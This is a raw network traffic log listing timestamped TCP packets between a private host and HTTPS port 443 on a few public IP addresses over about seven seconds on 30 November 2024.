Nov 30, 2024 04:12:53.482350111 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.482583046 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.482595921 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.643438101 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.679661036 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.686722994 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.720571995 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.721633911 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.721649885 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.722157001 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.722162008 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.749190092 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.749207020 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.749661922 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.749667883 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.799474001 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.828411102 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.828437090 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.828515053 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.828532934 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.828573942 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.833085060 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.833137989 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.833198071 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.849423885 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.888102055 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.888118982 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.891307116 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.891315937 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.894289017 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.894330025 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.894371986 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.894391060 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.959270954 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.959301949 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.959359884 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.959511995 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.959526062 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.101886988 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.101912022 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.101960897 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.101975918 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.102484941 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.102498055 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.102591991 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.102650881 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.102684975 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.102729082 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.110215902 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.110250950 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.110316992 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.110908031 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.110918999 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.114343882 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.117594004 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.117643118 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.119199991 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.119199991 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.119215012 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.119223118 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.128678083 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.128705978 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.128762007 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.128909111 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.128920078 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.252253056 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.256066084 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.256145954 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.256496906 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.256514072 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.256522894 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.256527901 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.259856939 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.259895086 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:54.259990931 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.260148048 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:54.260163069 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.328275919 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.330197096 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.330214024 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.330900908 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.330905914 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.679904938 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.684391022 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.684408903 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.684921980 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.684926987 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.781058073 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.784575939 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.784630060 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.784727097 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.784743071 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.784751892 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.784759045 CET	443	49868	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.788688898 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.788718939 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.788773060 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.789619923 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.789632082 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.891227961 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.891664982 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.891684055 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.892241001 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.892246962 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.902530909 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:55.902566910 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:55.902672052 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:55.903006077 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:55.903018951 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:55.907450914 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.908174992 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.908195972 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:55.908622980 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:55.908628941 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.116285086 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.118025064 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.121140003 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.121243000 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.170006990 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.235622883 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.235635996 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.236140966 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.236146927 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.236334085 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.236361980 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.236375093 CET	49870	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.236382008 CET	443	49870	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.242183924 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.242208958 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.242264986 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.242405891 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.242419958 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.335300922 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.338665962 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.338777065 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.351346970 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.354439020 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.354547977 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.374661922 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.374675035 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.374685049 CET	49871	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.374691010 CET	443	49871	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.375766993 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.375766993 CET	49872	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.375785112 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.375793934 CET	443	49872	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.388624907 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.388654947 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.388726950 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.390180111 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.390229940 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.390294075 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.390659094 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.390674114 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.390767097 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.390782118 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.570214987 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.573363066 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.573435068 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.655474901 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.655514956 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.655529976 CET	49873	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.655536890 CET	443	49873	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.658801079 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.658845901 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.658911943 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.659199953 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:56.659216881 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:56.793412924 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:56.793458939 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:56.793518066 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:56.794265985 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:56.794286966 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:57.538161993 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:57.538326979 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:57.540611029 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:57.540622950 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:57.540847063 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:57.549382925 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:57.569818020 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:57.570441961 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:57.570461035 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:57.570895910 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:57.570902109 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:57.595330000 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:57.957144022 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:57.958025932 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:57.958065033 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:57.958529949 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:57.958535910 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.014636040 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.017676115 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.017788887 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.017858028 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.017870903 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.017880917 CET	49876	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.017885923 CET	443	49876	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.021030903 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.021069050 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.021141052 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.021292925 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.021305084 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.171653032 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.172389984 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.172415972 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.172874928 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.172880888 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.200495005 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.200515985 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.200534105 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.200608015 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.200617075 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.200665951 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.237328053 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.237363100 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.237407923 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.237482071 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.237607956 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.237875938 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.237884045 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.237906933 CET	49877	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:58.237912893 CET	443	49877	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:58.238612890 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.239084005 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.239118099 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.239521980 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.239527941 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.391294956 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.394762993 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.394848108 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.395028114 CET	49879	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.395046949 CET	443	49879	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.398034096 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.398073912 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.398226023 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.398420095 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.398433924 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.441289902 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.444951057 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.444983959 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.445704937 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.445710897 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.615453959 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.618675947 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.620018959 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.620018959 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.620018959 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.623218060 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.623240948 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.623301983 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.623460054 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.623471975 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.694770098 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.697906017 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.697957993 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.698030949 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.718816996 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.718816996 CET	49881	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.718839884 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.718852043 CET	443	49881	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.767133951 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.767158031 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.767234087 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.767456055 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.767465115 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.885271072 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.888381004 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.888436079 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.890515089 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.890531063 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.890541077 CET	49882	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.890546083 CET	443	49882	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.902815104 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.902857065 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.902940989 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.903383970 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.903398991 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:58.931725025 CET	49880	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:58.931731939 CET	443	49880	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:59.066797018 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.066900969 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.142774105 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.142807007 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.143171072 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.161811113 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.161870003 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.161880016 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.162174940 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.207334995 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.715939045 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.716042042 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.716095924 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.716348886 CET	49884	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:59.716366053 CET	443	49884	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:59.804503918 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:59.805119991 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:59.805136919 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:59.805665970 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:59.805671930 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.177866936 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.178469896 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.178492069 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.178980112 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.178989887 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.248678923 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.251867056 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.251913071 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.251925945 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.251966953 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.252018929 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.252036095 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.252048969 CET	49886	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.252053976 CET	443	49886	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.255393028 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.255425930 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.255492926 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.255635977 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.255646944 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.467328072 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.467834949 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.467854977 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.468278885 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.468283892 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.612113953 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.612653017 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.612668037 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.613162041 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.613167048 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.631772995 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.634919882 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.634982109 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.635066032 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.635066032 CET	49887	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.635111094 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.635143042 CET	443	49887	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.637809992 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.637856960 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.637957096 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.638106108 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.638118029 CET	443	49893	13.107.246.63	192.168.2.6
